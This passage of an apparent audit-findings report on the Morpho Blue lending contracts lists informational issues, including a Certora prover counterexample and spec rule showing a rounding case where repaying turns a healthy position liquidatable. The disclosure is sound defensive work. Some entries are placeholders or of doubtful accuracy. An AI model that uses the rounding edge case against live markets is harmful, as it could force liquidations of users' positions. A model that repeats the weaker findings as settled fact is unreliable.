[328](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L328), [334](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L334), [352](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L352), [353](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L353), [359](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L359), [436](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L436), [437](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L437), [443](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L443), [464](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L464)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+24: require(success, ErrorsLib.TRANSFER_REVERTED);
+
+25: require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_RETURNED_FALSE);
+
+32: require(success, ErrorsLib.TRANSFER_FROM_REVERTED);
+
+33: require(returndata.length == 0 || abi.decode(returndata, (bool)), ErrorsLib.TRANSFER_FROM_RETURNED_FALSE);
+
+```
+
+[24](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L24), [25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L25), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L32), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L33)
+
+```solidity
+File: src/libraries/UtilsLib.sol
+
+28: require(x <= type(uint128).max, ErrorsLib.MAX_UINT128_EXCEEDED);
+
+```
+
+[28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L28)
+
+
+
+### Use EIP-5627 to describe EIP-712 domains
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+EIP-5267 is a standard which allows for the retrieval and description of EIP-712 hash domains. This enable external tools to allow users to view the fields and values that describe their domain.
+ This is especially useful when a project may exist on multiple chains and or in multiple contracts, and allows users/tools to verify that the signature is for the right fork, chain, version, contract, etc.
+
+*Instances (1)*:
+
+```solidity
+File: src/libraries/ConstantsLib.sol
+
+17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+```
+
+[17](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L17)
+
+
+
+### Expressions for constant values such as a call to `keccak256()`, should use `immutable` rather than `constant`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+While it doesn't save any gas because the compiler knows that developers often make this mistake, it's still best to use theright tool for the task at hand. There is a difference between `constant` variables and `immutable` variables, and they shouldeach be used in their appropriate contexts. `constants` should be used for literal values written into the code, and `immutable`variables should be used for expressions, or values calculated in, or passed into the constructor.
+
+*Instances (1)*:
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+13: uint256 internal constant MARKET_PARAMS_BYTES_LENGTH = 5 * 32;
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L13)
+
+
+
+### Use a more recent version of solidity
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+2: pragma solidity 0.8.19;
+
+```
+
+[2](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L2)
+
+
+
+### Consider Enabling --via-ir for Enhanced Code Transparency and Auditability
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The --via-ir command line option enables Solidity's IR-based code generator, offering a level of transparency and auditability superior to the traditional, direct-to-EVM method. The Intermediate Representation (IR) in Yul serves as an intermediary, offering a more transparent view of how the Solidity code is transformed into EVM bytecode.
+
+While it does introduce slight semantic variations, these are mostly in areas unlikely to impact the typical contract's behavior. It is encouraged to test this feature to gain its benefits, which include making the code generation process more transparent and auditable.[Solidity Documentation.](https://docs.soliditylang.org/en/v0.8.20/ir-breaking-changes.html#solidity-ir-based-codegen-changes)
+
+
+
+### Solmate’s SafeTransferLib does not checks if the token is a contract or not
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There is a subtle difference between the implementation of solmate’s SafeTransferLib and OZ’s SafeERC20: OZ’s SafeERC20 checks if the token is a contract or not, solmate’s SafeTransferLib does not. See this [link](See: https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol#L9)
+ Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. As a result, when the token’s address has no code, the transaction will just succeed with no error. This attack vector was made well-known by the qBridge hack back in Jan 2022.
+ So, the `safetransfer` and `safetransferfrom` don’t check the existence of code at the token address. This is a known issue while using solmate’s libraries.
+ Hence this can lead to miscalculation of funds and also loss of funds , because if `safetransfer()` and `safetransferfrom()` are called on a token address that doesn’t have contract in it, it will always return success. Due to this protocol will think that funds has been transferred and successful , and records will be accordingly calculated, but in reality funds were never transferred.
+ So this will lead to miscalculation and loss of funds.
+
+*Instances (10)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+191: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+224: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+260: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+292: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+316: IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+
+400: IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+407: IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+416: IERC20(token).safeTransfer(msg.sender, assets);
+
+422: IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+
+```
+
+[191](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L191), [224](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224), [260](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L260), [292](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L292), [316](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L316), [338](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338), [400](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400), [407](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L407), [416](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L416), [422](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L422)
+
+
+
+
+### Loss of precision
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Division by large numbers may result in the result being zero, due to solidity not supporting fractions. Consider requiring a minimum amount for the numerator to ensure that it is always larger than the denominator
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/MathLib.sol
+
+28: return (x * y) / d;
+
+33: return (x * y + (d - 1)) / d;
+
+```
+
+[28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L33)
+
+
+
+### test withdrwa
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+s
+
+
+
+### Allowing different LTV values for same token pair will lead to borrower exodus
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+Morpho Blue allows anyone to create markets with different LTVs. Unfortunately by allowing Morpho to have multiple LTVs for the same token market, Morpho runs the risk of having a borrower exodus when a market with a larger LTV is introduced.
+
+Imagine there is a market for WETH -> DAI and the LTV is 80%. As a borrower, I have taken a loan out on the 80% market. I have collateralized 1000 WETH for 799 DAI (not 800 to prevent liquidation). If another WETH -> DAI market is introduced with a 90% LTV, I (the borrower) will have every incentive to leave this market and jump to the 90% LTV where I can get up o 899 DAI (again not 900 to avoid liquidation) for that same 1000 ETH. This will cause lenders who are on the 80% LTV market to lose lender rewards as borrowers will leave the 80% market for the 90% market.
+
+There is no incentive as a borrower to stay on a market with a lower LTV if a higher LTV market exists. The borrower receives additional benefits by moving to the new market while if the lender decides to move to the new market they carry the extra risk of lending to a market with a higher LTV. Some lenders may feel uncomfortable lending on a more volatile market and may pull out of the more safer LTV markets.
+
+
+- Tools Used
+Eyes
+
+- Recommended Mitigation Steps
+Morpho should consider not allowing markets with different LTVs to exist. Various economic incentives make it difficult to support multiple markets with the same LTV.
+
+
+
+### Lack of granular market authorizations controls
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+When a user is authorized to act on behalf of another user, Morpho allowed the authorizee to act on the user's behalf on all markets. This includes markets that don't yet exist. A user has no granular control on what an authorizee can do.
+
+
+
+- Proof of Concept
+The code below shows the setAuthorizationWithSig() argument, which currently doesn't support market granular controls:
+
+```solidity
+
+/// @inheritdoc IMorphoBase
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+}
+```
+
+- Tools Used
+Eyes
+
+- Recommended Mitigation Steps
+Ideally, when setting authorization via `Morpho.setAuthorizationWithSig()`, the protocol should accept an additional argument defining which market the authorizee has access to.
+
+
+
+### lack of support for individual market allowance that puts users in risk of losing all their funds
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L435-L435](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L435-L435)
+
+doesn't support individual market permissions and if user wants a target contract to manage his positions in one market he have to give permission to all markets.
+This will put users at more risk as those target contract may not designed to handle other markets.
+
+I believe the allowance system should be like NFT tokens. code should allow individual market allowance and total allowance. this way users can manage their risk better.
+
+
+
+### User Defined Value `type` Used in `IMorpho` will not be Supported by Listed Solidity Version
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:**
+
+Currently, `Morpho.sol` contract uses User Defined Value Types as `Id` for `bytes32` which is defined in `IMorpho` interface.
+
+```solidity
+File: IMorpho.sol
+
+1. // SPDX-License-Identifier: GPL-2.0-or-later
+2. pragma solidity >=0.5.0;
+3.
+4. type Id is bytes32;
+
+```
+
+Issue over here is that it supports all the solidity version greater than `0.5.0`.
+
+But, Syntax for User Defined Value Types was specifically added in Solidity Version `0.8.8` which means that if the `IMorpho` contract is deployed with a version less than `0.8.8` which the code Supports, the Functionality will fail.
+
+Link to the Release note of User Defined Value Types in Solidity: https://soliditylang.org/blog/2021/09/27/user-defined-value-types/
+
+**Recommendation:**
+
+Update the Solidity version to Atleast `0.8.8`.
+
+
+
+### bomb attack on returndata in low level call _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** [SafeTransferLib.sol#L29-L29](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L29-L29)
+
+[Q-01]: bomb attack on returndata in low level call
+
+- Summary
+In SafeTransferLib::safeTransfer and safeTransferFrom after transferring a token with low level call return a byte of return data that can lead to a bomb attack
+
+- Vulnerability Details
+During such an attack, the callee returns such a big amount of return data that the caller runs out of gas while copying the data into memory.
+
+- Impact
+A possible DOS vector
+
+- Tools Used
+manual
+
+- Recommendations
+check the returndata leangth
+if (success & returndata.length >= 0x20) {
+ // do stuff
+} else {
+ // process error
+}
+
+
+
+
+### Typo In MorphoBalancesLib.sol
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There's a typo here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L44 , it should be
+`// Skipped if elapsed == 0 or if totalBorrowAssets == 0 because interest would be null.`
+
+instead of
+
+`// Skipped if elapsed == 0 of if totalBorrowAssets == 0 because interest would be null.`
+
+(or instead of of)
+
+
+
+### Consider Adding a Block/Deny-List
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho protocol currently lacks the implementation of a block or deny-list feature, which could be utilized to restrict specific addresses from interacting with the protocol. Block or deny-lists are commonly employed in DeFi protocols to enhance security by preventing malicious actors or addresses associated with stolen funds from engaging in potentially harmful activities.
+
+**Recommendation**:
+
+While the Morpho protocol aligns with the goal of simplicity and minimal intervention, it's important to acknowledge that the absence of a block or deny-list may expose the protocol to potential risks. To address this, it is recommended to document this limitation, making users aware that, without blacklisting capabilities, there might be instances where a market becomes tainted, and the protocol is unable to intervene.
+
+Additionally, developers could consider the inclusion of a blocklist feature, allowing the freezing of assets associated with sanctioned or malicious users. The decision to implement such a feature should be carefully evaluated, considering the trade-offs between protocol simplicity and the enhanced security provided by a block or deny-list. Ultimately, the chosen approach should align with the specific use case and security requirements of the Morpho protocol.
+
+
+
+### Consider Adding Emergency-Stop Functionality or document the lack of one
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho protocol currently does not incorporate an emergency-stop mechanism, which is a crucial security feature for smart contracts, especially those handling significant value, interacting with external contracts, or featuring complex logic. An emergency-stop mechanism provides the ability to pause specific functionalities in the contract, serving as a safeguard against potential exploits and minimizing potential damages in emergency situations.
+
+**Recommendation**:
+
+Given the intent of the Morpho protocol to remain a hands-off and immutable contract, it is advisable to document this design choice explicitly. Users and developers should be informed that, in the event of a breach or emergency, the contract cannot be halted, and there is a possibility of user funds being at risk.
+
+While not in alignment with the protocol's original design, an alternative approach could involve implementing an emergency-stop functionality that is owner-controlled. However, this decision should be made judiciously, considering the trade-offs between maintaining protocol immutability and introducing an additional layer of control. Any such modification should be clearly communicated to users, and the implications of emergency-stop features should be thoroughly documented.
+
+
+
+### Events in public function missing sender information
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L81-L81](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L81-L81), [Morpho.sol#L100-L100](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L100-L100), [Morpho.sol#L109-L109](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L109-L109), [Morpho.sol#L119-L119](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L119-L119), [Morpho.sol#L135-L135](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L135-L135), [Morpho.sol#L144-L144](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L144-L144), [Morpho.sol#L160-L160](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L160-L160)
+
+**Description**:
+
+In the Morpho protocol, events emitted in public or external functions currently lack the inclusion of sender information. Incorporating sender information in these events is essential for improving traceability and transparency within the smart contract.
+
+**Recommendation**:
+
+To address this issue and enhance the clarity of contract events, it is recommended to modify the relevant events by including the sender's information. This adjustment ensures that the emitted events provide comprehensive details, aiding in the monitoring and analysis of contract interactions. Additionally, documenting these changes will help users and developers understand the significance of sender information in the context of specific events.
+
+
+
+### Update to Solidity version 0.8.21
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho protocol currently uses a Solidity version that predates some valuable features and optimizations introduced in the more recent versions, such as Solidity 0.8.21. These updates include enhancements like the use of push0 for placing 0 on the stack for EVM versions starting from "Shanghai," providing a simpler and more straightforward code structure.
+
+Moreover, Solidity has extended NatSpec documentation support to enum and struct definitions, allowing for more comprehensive and insightful code documentation. Leveraging these features can contribute to improved code clarity and maintainability.
+
+Additionally, the re-implementation of the UnusedAssignEliminator and UnusedStoreEliminator in the Solidity optimizer offers the ability to remove unused assignments in deeply nested loops. This optimization results in a cleaner, more efficient contract code, reducing clutter and potential points of confusion during code review or debugging.
+
+**Recommendation**:
+
+To take advantage of these valuable features and optimizations, it is recommended to update the Solidity version used in the Morpho protocol to at least version 0.8.21. This update will enhance the robustness, readability, and overall quality of the smart contract code.
+
+
+
+### Ensure The Morpho Contract Has Enough Asset To Transfer (Sanity Check)
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There are instances where the Morpho.sol transfers out assets/collateral to the receivers , ex - https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L260
+
+There should be a sanity check to ensure that the balance of the token in the contract is more than the `assets` amount.
+
+Similar instances:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L416
+
+
+
+### Event is not properly indexed _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L18-L18](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L18-L18), [EventsLib.sol#L30-L30](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L30-L30), [EventsLib.sol#L124-L124](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L124-L124), [EventsLib.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L139-L139), [EventsLib.sol#L146-L146](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L146-L146)
+
+**Description**:
+
+Indexing event fields in Ethereum smart contracts serves a crucial role in making the fields more quickly accessible to off-chain tools that parse events. This accessibility becomes especially beneficial when filtering events based on specific criteria, such as an address. While indexing enhances the ease of event data retrieval, it's important to note that each indexed field incurs extra gas costs during emission. Therefore, the decision to index should consider the trade-off between improved accessibility and increased gas consumption.
+
+For optimal use, each event should leverage indexing for three fields if there are three or more applicable fields, and gas usage is not a significant concern for the events in question. If there are fewer than three applicable fields, all relevant fields should be indexed.
+
+**Recommendation**:
+
+Review the events in the Morpho protocol and ensure that indexing is appropriately applied based on the number of applicable fields. Add indexing to events that are missing this enhancement, following the recommended guidelines for optimal gas usage and improved accessibility to event data.
+
+
+
+### Events that mark critical parameter changes should contain both the old and the new value _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L13-L13](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L13-L13), [EventsLib.sol#L18-L18](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L18-L18), [EventsLib.sol#L22-L22](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L22-L22)
+
+**Description**:
+
+In Ethereum smart contracts, events play a crucial role in providing transparency and enabling off-chain monitoring of the contract's state. When events signal a change in significant state variables, emitting both the old and new values enhances the comprehensibility and monitoring capabilities of the contract. This dual emission allows external systems to track and analyze the evolution of critical contract parameters over time.
+
+**Recommendation**:
+
+Review the events within the Morpho protocol, specifically those related to changes in essential state variables. Ensure that these events emit both the old and new values, providing a more comprehensive view of state transitions. Implement this recommendation to enhance the contract's transparency and monitoring capabilities.
+
+
+
+### Function ordering does not follow the Solidity style guide
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L530-L530](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L530-L530)
+
+**Description**:
+
+Maintaining a consistent and organized code structure is essential for readability and ease of understanding. According to the [Solidity style guide](https://docs.soliditylang.org/en/v0.8.17/style-guide.html#order-of-functions), functions should be arranged in a specific order: `constructor()`, `receive()`, `fallback()`, `external`, `public`, `internal`, `private`. This guideline aids developers in quickly locating different types of functions within the codebase.
+
+However, in the provided code, the `extSloads()` function does not adhere to this recommended order, potentially impacting the code's readability.
+
+**Recommendation**:
+
+To align with best practices and the Solidity style guide, consider moving the `extSloads()` function to its appropriate place in the order of functions. This adjustment contributes to a more organized and maintainable codebase.
+
+
+
+### Contract does not follow the Solidity style guide's suggested layout ordering
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L87-L87](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L87-L87)
+
+**Description**:
+
+Maintaining a consistent and organized layout within a Solidity contract is crucial for code readability. According to the [Solidity style guide](https://docs.soliditylang.org/en/v0.8.16/style-guide.html#order-of-layout), the recommended order within a contract is as follows: 1) Type declarations, 2) State variables, 3) Events, 4) Modifiers, and 5) Functions. Adhering to this structure makes it easier for developers to locate specific elements within the code.
+
+However, in the provided contract(s), the layout does not follow this recommended ordering, potentially affecting the code's clarity.
+
+**Recommendation**:
+
+To align with best practices and the Solidity style guide, consider reordering the elements within the contract. Specifically, move the modifier above the constructor to adhere to the suggested layout. This adjustment enhances the overall readability and maintainability of the code.
+
+
+
+### Missing timelock for critical parameter change
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L123-L123](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L123-L123)
+
+**Description**:
+
+In the Morpho library, functions exist that enable the owner to modify critical state variables such as the fee receiver or the fee imposed on a market. However, these modifications can impact users, and it would enhance the user experience if there were time locks implemented for these functions. A time lock would allow users to adapt to upcoming changes and reduce the potential for abrupt disruptions.
+
+**Recommendation**:
+
+To improve the user experience and provide users with a grace period to adjust, consider adding a time lock to the functions responsible for changing critical state variables, especially those related to setting fees. The time lock mechanism would introduce a delay between the initiation of the change and its execution, allowing users to anticipate and prepare for adjustments. This enhancement promotes a smoother transition for users and reduces the likelihood of sudden, unexpected changes.
+
+
+
+### Certora Rule: A healthy borrower's position should not turn unhealthy after repaying
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L266-L295](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L295)
+
+**Description**:
+
+If a position is healthy, and assuming the interest accrual is up to date, it should not be possible that it turns unhealthy after any call to the contract. This is because functions that could turn a position unhealthy are `borrow` and `withdrawCollateral`, and both check towards the end that the position ends up being healthy.
+
+But using the `Certora prover`, I found an edge case for wich calling function `repay` can turn a healthy position in an unhealthy one.
+
+The prover used the following values:
+
+_Before the call to repay_:
+* Interest is accrued to make sure it does not affect the healthiness computation in the call to `repay`.
+* marketParams=(loanToken = 0x2717, collateralToken = 0xfffffffffffffffffffffffffffffffffffffffe, oracle = 0x2712, irm = 0x2716, lltv = 600000000000000000 (0x853a0d2313c0000))
+* id = 0x2715
+* user = 0x2711
+* msg.sender = 0x2715
+* collateralPrice = 1100000000000000000
+* market[0x2715].totalBorrowAssets: 1
+* market[0x2715].totalBorrowShares: 1333333333340334709 (0x1280f39a34f02a75)
+* position[0x2715][0x2711].borrowShares: 1998046875017994440 (0x1bba7d0bf606e0c8)
+* In the __isHealthy_ call:
+ * borrowed = 3
+ * maxBorrow = 3
+* Result of health check = _healthy_
+
+_Call to repay_:
+* marketParams=(loanToken = 0x2717, collateralToken = 0xfffffffffffffffffffffffffffffffffffffffe, oracle = 0x2712, irm = 0x2716, lltv = 600000000000000000 (0x853a0d2313c0000))
+* assets = 0
+* shares = 1000976562503004844 (0xde42ee1547bb2ac)
+* onBehalf = 0x2711
+* data = X
+* id = 0x2715
+* market[0x2715].lastUpdate = 1
+* market[0x2715].totalBorrowAssets: 0
+* market[0x2715].totalBorrowShares: 332356770837329865 (0x49cc4b8e07477c9)
+* position[0x2715][0x2711].borrowShares: 997070312514989596 (0xdd64e2aa18b2e1c)
+
+
+_After the call to repay_:
+* marketParams=(loanToken = 0x2717, collateralToken = 0xfffffffffffffffffffffffffffffffffffffffe, oracle = 0x2712, irm = 0x2716, lltv = 600000000000000000 (0x853a0d2313c0000))
+* id = 0x2715
+* user = 0x2711
+* msg.sender = 0x2715
+* collateralPrice = 1100000000000000000
+* market[0x2715].totalBorrowAssets: 0
+* market[0x2715].totalBorrowShares: 332356770837329865 (0x49cc4b8e07477c9)
+* position[0x2715][0x2711].borrowShares: 332356770837329865 (0xdd64e2aa18b2e1c)
+* In the __isHealthy_ call:
+ * borrowed = 4
+ * maxBorrow = 3
+* Result of health check = _not healthy_
+
+So we can see that after repaying 1000976562503004844 shares, both `borrowShares` of the `_onBehalf` account position in market `0x2715` and `totalBorrowShares` of market `0x2715` are decreased accordingly.
+
+But `totalBorrowAssets` of market `0x2715`, probably due to a rounding issue, goes from 1 to 0. Now doing the computation of healthiness results in the position not being healthy and thus eligible for liquidation.
+
+**Recommendation**:
+
+A check after modifying storage in the body of the `repay` function to disallow a healthy position turning into an unhealthy one could be made. For this, it should be checked the healthiness at the beginning and at the end and ensure it does not go from true to false.
+
+
+**PoC**
+
+I paste below the `spec` file with the rule. And here is a link to the run I made that yielded the values in the description of the issue: https://prover.certora.com/output/14870/6af671f5936848f69ba1b80a1af2dd3e
+
+```
+import "./sanity.spec";
+import "./erc20.spec";
+
+using DummyERC20A as loanToken;
+using DummyERC20B as collateralToken;
+
+
+methods {
+ function setOwner(address) external;
+ function nonce(address) external returns(uint256) envfree;
+ function isIrmEnabled(address) external returns(bool) envfree;
+ function isLltvEnabled(uint256) external returns(bool) envfree;
+ function libId(MorphoHarness.MarketParams) external returns MorphoHarness.Id envfree;
+
+ function _.price() external => ALWAYS(1100000000000000000);
+
+ function _.extSloads(bytes32[] slots) external => NONDET DELETE;
+}
+
+function setValues(env e, MorphoHarness.MarketParams marketParams, address borrower){
+
+ MorphoHarness.Id id = libId(marketParams);
+
+ require marketParams.lltv < 10^18;
+ require marketParams.oracle != marketParams.irm;
+ require e.msg.sender != currentContract;
+ require marketParams.oracle != e.msg.sender;
+ require marketParams.irm != e.msg.sender;
+ require marketParams.oracle != currentContract;
+ require marketParams.irm != currentContract;
+ require marketParams.loanToken == loanToken;
+ require marketParams.loanToken == loanToken;
+ require marketParams.collateralToken == collateralToken;
+
+ uint128 totalSupplyAssets;
+ uint128 totalSupplyShares;
+ uint128 totalBorrowAssets;
+ uint128 totalBorrowShares;
+ uint128 lastUpdate;
+ uint128 fee;
+
+ totalSupplyAssets, totalSupplyShares, totalBorrowAssets, totalBorrowShares, lastUpdate, fee = market(e, id);
+
+ require marketParams.lltv < 10^18;
+ require totalSupplyAssets > 0;
+ require totalBorrowAssets > 0;
+ require totalSupplyShares > 0;
+ require totalBorrowShares > 0;
+
+
+ uint256 supplyShares;
+ uint128 borrowShares;
+ uint128 collateral;
+
+ supplyShares, borrowShares, collateral = position(e, id, borrower);
+
+ require collateral < 10^24;
+
+}
+
+
+// RULES
+use rule sanity;
+
+rule healthyBeforeImpliesHealthyAfterRepay() {
+ env e;
+
+ MorphoHarness.MarketParams marketParams;
+ MorphoHarness.Id id = libId(marketParams);
+
+ uint256 assets;
+ uint256 shares;
+ address onBehalf;
+ bytes data;
+
+ setValues(e, marketParams, onBehalf);
+
+ require shares > 10^18;
+ require data.length == 0;
+
+ // We accrue interest first, a this affects the healthiness
+ accrueInterest(e, marketParams);
+
+ bool isHealthyPre = isHealthy(e, marketParams, id, onBehalf);
+
+ repay(e, marketParams, assets, shares, onBehalf, data);
+
+ bool isHealthyPost = isHealthy(e, marketParams, id, onBehalf);
+
+ assert isHealthyPre => isHealthyPost;
+
+}
+```
+
+
+
+### The IRM Natspec does not specify that the borrowRate returned is scaled by WAD and is per second.
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**: The rate returned by the IRM is first scaled by WAD (1e18) before being divided by 365 days. But the Natspec does not specify all this information for developers. The scaling by WAD can easily be deduced but you would have to dive deeper into the codebase to grasp that the rate is also divided per 365 days in seconds which makes it obscure.
+
+```
